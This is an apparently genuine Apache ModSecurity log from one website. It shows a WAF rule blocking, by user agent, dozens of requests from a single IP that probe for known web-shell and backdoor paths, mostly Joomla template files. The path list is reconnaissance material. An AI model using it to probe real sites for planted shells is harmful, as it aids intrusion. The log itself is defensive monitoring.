[Sat May 23 08:00:23.944749 2026] [:error] [pid 30940:tid 30968] [client 173.239.216.150:60605] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin/cache.php"] [unique_id "ahDuF5qUP2XZmzp7RDqMBAAAABM"]
[Sat May 23 08:00:24.791145 2026] [:error] [pid 25876:tid 25896] [client 173.239.216.150:34415] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/atomic/error.php"] [unique_id "ahDuGASpWUCKPezIBJCh6QAAARI"]
[Sat May 23 08:00:25.630985 2026] [:error] [pid 25876:tid 25894] [client 173.239.216.150:61985] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/rhuk_milkyway/index.php"] [unique_id "ahDuGQSpWUCKPezIBJCh7AAAARA"]
[Sat May 23 08:00:26.485677 2026] [:error] [pid 30940:tid 30970] [client 173.239.216.150:59159] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/madeyourweb/error.php"] [unique_id "ahDuGpqUP2XZmzp7RDqMBQAAABU"]
[Sat May 23 08:00:30.360359 2026] [:error] [pid 31039:tid 31041] [client 173.239.216.150:52569] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/libraries/joomla/jmail.php"] [unique_id "ahDuHqIYDYo8WvA5zLJ-RAAAAMA"]
[Sat May 23 08:00:33.766976 2026] [:error] [pid 25876:tid 25880] [client 173.239.216.150:39741] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Beez2/index.php"] [unique_id "ahDuIQSpWUCKPezIBJCiAwAAAQI"]
[Sat May 23 08:00:34.640992 2026] [:error] [pid 31039:tid 31064] [client 173.239.216.150:52133] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Aaika/error.php"] [unique_id "ahDuIqIYDYo8WvA5zLJ-SAAAANc"]
[Sat May 23 08:00:38.502971 2026] [:error] [pid 30941:tid 30979] [client 173.239.216.150:42585] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin/include/student.php"] [unique_id "ahDuJnTIgjSDhiZmvlU0oAAAAEM"]
[Sat May 23 08:00:40.485085 2026] [:error] [pid 30940:tid 30963] [client 173.239.216.150:51355] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/administrator/components/com_xcloner-backupandrestore/index2.php"] [unique_id "ahDuKJqUP2XZmzp7RDqMEQAAAA4"]
[Sat May 23 08:00:41.370096 2026] [:error] [pid 30941:tid 30982] [client 173.239.216.150:55611] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Eatoreh/error.php"] [unique_id "ahDuKXTIgjSDhiZmvlU0pAAAAEY"]
[Sat May 23 08:00:42.958651 2026] [:error] [pid 30941:tid 30991] [client 173.239.216.150:22729] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Globy/error.php"] [unique_id "ahDuKnTIgjSDhiZmvlU0pwAAAE8"]
[Sat May 23 08:00:44.518489 2026] [:error] [pid 30942:tid 31011] [client 173.239.216.150:57207] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Beez3/index.php"] [unique_id "ahDuLNUosz64YFiBlG3T_wAAAIg"]
[Sat May 23 08:00:51.359700 2026] [:error] [pid 25876:tid 25879] [client 173.239.216.150:42965] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Protostar/error.php"] [unique_id "ahDuMwSpWUCKPezIBJCiFAAAAQE"]
[Sat May 23 08:00:52.242130 2026] [:error] [pid 31039:tid 31056] [client 173.239.216.150:59859] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/ets_whatsapp/security.php"] [unique_id "ahDuNKIYDYo8WvA5zLJ-XAAAAM8"]
[Sat May 23 08:00:53.080184 2026] [:error] [pid 30940:tid 30953] [client 173.239.216.150:41817] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Atum/index.php"] [unique_id "ahDuNZqUP2XZmzp7RDqMGgAAAAQ"]
[Sat May 23 08:00:53.924076 2026] [:error] [pid 31039:tid 31063] [client 173.239.216.150:55393] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/components/com_newsfeeds/models/index.php"] [unique_id "ahDuNaIYDYo8WvA5zLJ-XwAAANY"]
[Sat May 23 08:00:54.768038 2026] [:error] [pid 30940:tid 30966] [client 173.239.216.150:40753] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Eatoreh/index.php"] [unique_id "ahDuNpqUP2XZmzp7RDqMHQAAABE"]
[Sat May 23 08:00:55.591186 2026] [:error] [pid 31039:tid 31044] [client 173.239.216.150:30387] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/akcc.php"] [unique_id "ahDuN6IYDYo8WvA5zLJ-YwAAAMM"]
[Sat May 23 08:00:57.442726 2026] [:error] [pid 31039:tid 31056] [client 173.239.216.150:54397] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Genius/index.php"] [unique_id "ahDuOaIYDYo8WvA5zLJ-aAAAAM8"]
[Sat May 23 08:00:58.278624 2026] [:error] [pid 31039:tid 31059] [client 173.239.216.150:23759] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/scrollbottom/ultra.php"] [unique_id "ahDuOqIYDYo8WvA5zLJ-aQAAANI"]
[Sat May 23 08:01:00.128035 2026] [:error] [pid 30940:tid 30955] [client 173.239.216.150:50393] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Raees/error.php"] [unique_id "ahDuPJqUP2XZmzp7RDqMIQAAAAY"]
[Sat May 23 08:01:00.962979 2026] [:error] [pid 31039:tid 31042] [client 173.239.216.150:54991] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/BeginDot/index.php"] [unique_id "ahDuPKIYDYo8WvA5zLJ-bQAAAME"]
[Sat May 23 08:01:01.025865 2026] [:error] [pid 30941:tid 30999] [client 173.239.216.150:54667] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/hathor/error.php"] [unique_id "ahDuPXTIgjSDhiZmvlU0rgAAAFc"]
[Sat May 23 08:01:03.329140 2026] [:error] [pid 25876:tid 25878] [client 173.239.216.150:60331] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/htmlawed/htmlawed/gel4y.php"] [unique_id "ahDuPwSpWUCKPezIBJCiHwAAAQA"]
[Sat May 23 08:01:04.911372 2026] [:error] [pid 30941:tid 30992] [client 173.239.216.150:55645] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Cassiopeia/index.php"] [unique_id "ahDuQHTIgjSDhiZmvlU0tAAAAFA"]
[Sat May 23 08:01:05.729599 2026] [:error] [pid 25876:tid 25892] [client 173.239.216.150:52769] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Atomic/index.php"] [unique_id "ahDuQQSpWUCKPezIBJCiIgAAAQ4"]
[Sat May 23 08:01:06.565768 2026] [:error] [pid 25876:tid 25895] [client 173.239.216.150:33453] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Yamato/error.php"] [unique_id "ahDuQgSpWUCKPezIBJCiIwAAARE"]
[Sat May 23 08:01:07.387729 2026] [:error] [pid 25876:tid 25899] [client 173.239.216.150:35213] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/BeginDot/error.php"] [unique_id "ahDuQwSpWUCKPezIBJCiJQAAARU"]
[Sat May 23 08:01:09.214376 2026] [:error] [pid 25876:tid 25878] [client 173.239.216.150:27783] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/themes/zMousse/otuz1.php"] [unique_id "ahDuRQSpWUCKPezIBJCiKAAAAQA"]
[Sat May 23 08:01:10.053918 2026] [:error] [pid 25876:tid 25880] [client 173.239.216.150:22375] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez_20/index.php"] [unique_id "ahDuRgSpWUCKPezIBJCiKgAAAQI"]
[Sat May 23 08:01:10.875371 2026] [:error] [pid 30941:tid 30981] [client 173.239.216.150:24083] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/protostar/index.php"] [unique_id "ahDuRnTIgjSDhiZmvlU0vQAAAEU"]
[Sat May 23 08:01:13.221485 2026] [:error] [pid 25876:tid 25890] [client 173.239.216.150:33477] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Yamato/index.php"] [unique_id "ahDuSQSpWUCKPezIBJCiNAAAAQw"]
[Sat May 23 08:01:14.784744 2026] [:error] [pid 25876:tid 25898] [client 173.239.216.150:42305] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/rec/config.php"] [unique_id "ahDuSgSpWUCKPezIBJCiOQAAARQ"]
[Sat May 23 08:01:15.610415 2026] [:error] [pid 25876:tid 25899] [client 173.239.216.150:54127] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/libraries/vendor/updates.php"] [unique_id "ahDuSwSpWUCKPezIBJCiOwAAARU"]
[Sat May 23 08:01:16.431290 2026] [:error] [pid 31039:tid 31065] [client 173.239.216.150:21331] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Beez3/error.php"] [unique_id "ahDuTKIYDYo8WvA5zLJ-dAAAANg"]
[Sat May 23 08:01:17.260343 2026] [:error] [pid 25876:tid 25896] [client 173.239.216.150:33179] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez/admin.php"] [unique_id "ahDuTQSpWUCKPezIBJCiPQAAARI"]
[Sat May 23 08:01:18.862099 2026] [:error] [pid 30941:tid 30983] [client 173.239.216.150:21649] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez/index.php"] [unique_id "ahDuTnTIgjSDhiZmvlU0vwAAAEc"]
[Sat May 23 08:01:19.678424 2026] [:error] [pid 31039:tid 31057] [client 173.239.216.150:32205] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez5/index.php"] [unique_id "ahDuT6IYDYo8WvA5zLJ-eAAAANA"]
[Sat May 23 08:01:20.482594 2026] [:error] [pid 31039:tid 31045] [client 173.239.216.150:65529] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/modules/modules.php"] [unique_id "ahDuUKIYDYo8WvA5zLJ-ewAAAMQ"]
[Sat May 23 08:01:21.294864 2026] [:error] [pid 25876:tid 25880] [client 173.239.216.150:56595] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/atomic/index.php"] [unique_id "ahDuUQSpWUCKPezIBJCiRAAAAQI"]
[Sat May 23 08:01:22.125922 2026] [:error] [pid 30940:tid 30973] [client 173.239.216.150:51755] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/hathor/index.php"] [unique_id "ahDuUpqUP2XZmzp7RDqMKAAAABg"]
[Sat May 23 08:01:22.924018 2026] [:error] [pid 25876:tid 25889] [client 173.239.216.150:52619] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/administrator/index.php"] [unique_id "ahDuUgSpWUCKPezIBJCiRwAAAQs"]
[Sat May 23 08:01:23.725528 2026] [:error] [pid 31039:tid 31053] [client 173.239.216.150:55429] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/components/com_b2jcontact/izoc.php"] [unique_id "ahDuU6IYDYo8WvA5zLJ-hQAAAMw"]
[Sat May 23 08:01:24.528552 2026] [:error] [pid 25876:tid 25894] [client 173.239.216.150:55723] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/libraries/joomla/index.php"] [unique_id "ahDuVASpWUCKPezIBJCiSwAAARA"]
[Sat May 23 08:01:25.346181 2026] [:error] [pid 25876:tid 25898] [client 173.239.216.150:53341] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Hoxa/error.php"] [unique_id "ahDuVQSpWUCKPezIBJCiTQAAARQ"]
[Sat May 23 08:01:26.158855 2026] [:error] [pid 30941:tid 30997] [client 173.239.216.150:45141] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/age-restriction/modules/remote_support/remote_init.php"] [unique_id "ahDuVnTIgjSDhiZmvlU0wwAAAFU"]
[Sat May 23 08:01:26.961211 2026] [:error] [pid 25876:tid 25888] [client 173.239.216.150:56383] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Cassiopeia/error.php"] [unique_id "ahDuVgSpWUCKPezIBJCiUQAAAQo"]
[Sat May 23 08:01:27.766181 2026] [:error] [pid 31039:tid 31055] [client 173.239.216.150:37661] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/RiverS/error.php"] [unique_id "ahDuV6IYDYo8WvA5zLJ-igAAAM4"]
[Sat May 23 08:01:28.578016 2026] [:error] [pid 30942:tid 31021] [client 173.239.216.150:47459] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/local/moodle_webshell/index.php"] [unique_id "ahDuWNUosz64YFiBlG3UFAAAAJI"]
[Sat May 23 08:01:29.378057 2026] [:error] [pid 30942:tid 31011] [client 173.239.216.150:41551] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/assets/images/adriv4.php"] [unique_id "ahDuWdUosz64YFiBlG3UFQAAAIg"]
[Sat May 23 08:01:30.200431 2026] [:error] [pid 30941:tid 30995] [client 173.239.216.150:24345] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez_20/error.php"] [unique_id "ahDuWnTIgjSDhiZmvlU0xQAAAFM"]
[Sat May 23 08:01:31.016744 2026] [:error] [pid 31039:tid 31048] [client 173.239.216.150:48891] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Jollyany/index.php"] [unique_id "ahDuW6IYDYo8WvA5zLJ-jwAAAMc"]
[Sat May 23 08:01:31.865068 2026] [:error] [pid 31039:tid 31053] [client 173.239.216.150:51795] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/components/com_jbcatalog/libraries/jsupload/server/php/files/up.php"] [unique_id "ahDuW6IYDYo8WvA5zLJ-kQAAAMw"]
[Sat May 23 08:01:33.505653 2026] [:error] [pid 31039:tid 31054] [client 173.239.216.150:35013] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/administrator/components/com_xcloner-backupandrestore/language/english.php"] [unique_id "ahDuXaIYDYo8WvA5zLJ-kwAAAM0"]
